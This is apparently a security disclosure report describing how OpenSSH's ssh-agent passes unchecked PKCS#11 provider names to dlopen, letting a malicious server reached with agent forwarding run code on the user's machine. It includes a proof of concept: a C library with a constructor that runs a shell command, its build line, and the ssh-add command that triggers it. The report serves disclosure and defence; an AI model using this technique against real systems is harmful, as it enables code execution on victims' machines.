The OpenSSH agent permits its clients to load PKCS11 providers using the commands SSH_AGENTC_ADD_SMARTCARD_KEY and SSH_AGENTC_ADD_SMARTCARD_KEY_CONSTRAINED if OpenSSH was compiled with the ENABLE_PKCS11 flag (normally enabled) and the agent isn't locked. For these commands, the client has to specify a provider name. The agent passes this provider name to a subprocess (via ssh-agent.c:process_add_smartcard_key -> ssh-pkcs11-client.c:pkcs11_add_provider -> ssh-pkcs11-client.c:send_msg), and the subprocess receives it and passes it to dlopen() (via ssh-pkcs11-helper.c:process -> ssh-pkcs11-helper.c:process_add -> ssh-pkcs11.c:pkcs11_add_provider -> dlopen). No checks are performed on the provider name, apart from testing whether that provider is already loaded.

This means that, if a user connects to a malicious SSH server with agent forwarding enabled and the malicious server has the ability to place a file with attacker-controlled contents in the victim's filesystem, the SSH server can execute code on the user's machine.

To reproduce the issue, first create a library that executes some command when it is loaded:

$ cat evil_lib.c
#include <stdlib.h>
__attribute__((constructor)) static void run(void) {
  // in case you're loading this via LD_PRELOAD or LD_LIBRARY_PATH,
  // prevent recursion through system()
  unsetenv("LD_PRELOAD");
  unsetenv("LD_LIBRARY_PATH");
  system("id > /tmp/test");
}
$ gcc -shared -o evil_lib.so evil_lib.c -fPIC -Wall

Connect to another machine using "ssh -A". Then, on the remote machine:

$ ssh-add -s [...]/evil_lib.so
Enter passphrase for PKCS#11: [just press enter here]
SSH_AGENT_FAILURE
Could not add card: [...]/evil_lib.so

At this point, the command "id > /tmp/test" has been executed on the machine running the ssh agent:

$ cat /tmp/test
uid=1000(user) gid=1000(user) groups=[...]

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.